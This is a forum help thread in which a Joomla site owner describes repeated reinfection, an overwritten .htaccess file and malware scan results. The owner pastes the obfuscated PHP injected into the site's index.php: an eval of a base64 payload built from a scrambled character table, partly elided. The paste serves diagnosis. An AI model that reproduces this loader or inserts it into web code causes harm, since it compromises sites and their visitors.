Site keeps getting infected even with SecurityCheck Pro

If I delete the SecurityCheck Pro generated .htaccess file I can get back into the front end... as soon as I generate a new .htaccess file with SecurityCheck Pro, I can no longer access the site's front end... delete the .htaccess file and I am able to access the front end again...
Back end access still accessible in both situations.

Don't know if this matters or not, but I upgraded my server to EasyApache4 with all sites now running PHP 7

No change... I use the same settings for all of my sites, and this is the only one giving me problems. The only way I can access the site is deleting the .htaccess file completely - if I revert back to the original Joomla .htaccess file, it works fine...

* after using the default Joomla 3.7.0 .htaccess file, then using SecurityCheck Pro to generate a new one, not getting 403 Forbidden message anymore... so strange

Okay, so I turned off my AutoSSL feature for this domain on my WHM, and something is still wiping my .htaccess file that is generated with SecurityCheck Pro, and this morning it was overwritten with this content:
instead of the usual:
and, instead of the normal AutoSSL modified timestamp of today's date at 5:23am, it has a timestamp of December 11, 2009 8:01pm

At first I thought it was the AutoSSL feature that was wiping my .htaccess file to put it's code in, but after turning off that feature, and seeing that the .htaccess file was still getting wiped, and different code inserted, leads me to believe there is something else I'm missing.

File integrity check only shows 4 files modified:
both .htaccess and index.php files were modified sometime between 10:00pm EDT last night and 1:00pm EDT today...

Malware scan shows 6 High alert files, and 58 medium alert files. Upon further inspection - I installed ZOO on a local copy of Joomla 3.7.0 and it doesn't even have a /media/zoo/applications/documentation folder - the only folder under applications is blog and page, nothing else. I'm not familiar with ZOO extensions, but again, I didn't build this site, and I don't have access to their "paid" extensions to confirm original code. I have attached the malware scan results from today's scan.

My root index.php file is once again injected with the same code after the opening

@set_time_limit(0);
$xmlname = 'mapss.xml';
$jdir = '';
$smuri_tmp = smrequest_uri();
if($smuri_tmp==''){
	$smuri_tmp='/';
}
$smuri = base64_encode($smuri_tmp);
$dt = 0;
function smrequest_uri(){
	if (isset($_SERVER['REQUEST_URI'])){        
		$smuri = $_SERVER['REQUEST_URI'];        
	}else{
		if(isset($_SERVER['argv'])){       
			$smuri = $_SERVER['PHP_SELF'] . '?' . $_SERVER['argv'][0];     
		}else{      
			$smuri = $_SERVER['PHP_SELF'] . '?' . $_SERVER['QUERY_STRING'];        
		}
	}        
	return $smuri;        
} 


$O00OO0=urldecode("%6E1%7A%62%2F%6D%615%5C%76%740%6928%2D%70%78%75%71%79%2A6%6C%72%6B%64%679%5F%65%68%63%73%77%6F4%2B%6637%6A");$O00O0O=$O00OO0{3}.$O00OO0{6}.$O00OO0{33}.$O00OO0{30};$O0OO00=$O00OO0{33}.$O00OO0{10}.$O00OO0{24}.$O00OO0{10}.$O00OO0{24};$OO0O00=$O0OO00{0}.$O00OO0{18}.$O00OO0{3}.$O0OO00{0}.$O0OO00{1}.$O00OO0{24};$OO0000=$O00OO0{7}.$O00OO0{13};$O00O0O.=$O00OO0{22}.$O00OO0{36}.$O00OO0{29}.$O00OO0{26}.$O00OO0{30}.$O00OO0{32}.$O00OO0{35}.$O00OO0{26}.$O00OO0{30};eval($O00O0O("JE8wTzAwMD0iZGtmck9jeHdXakJiWk

... more code here ...

Cc/PicuJE8wME8wTygkTzBPTzAwKCRPTzBPMDAoJE8wTzAwMCwkT08wMDAwKjIpLCRPTzBPMDAoJE8wTzAwMCwkT08wMDAwLCRPTzAwMDApLCRPTzBPMDAoJE8wTzAwMCwwLCRPTzAwMDApKSkpOw=="));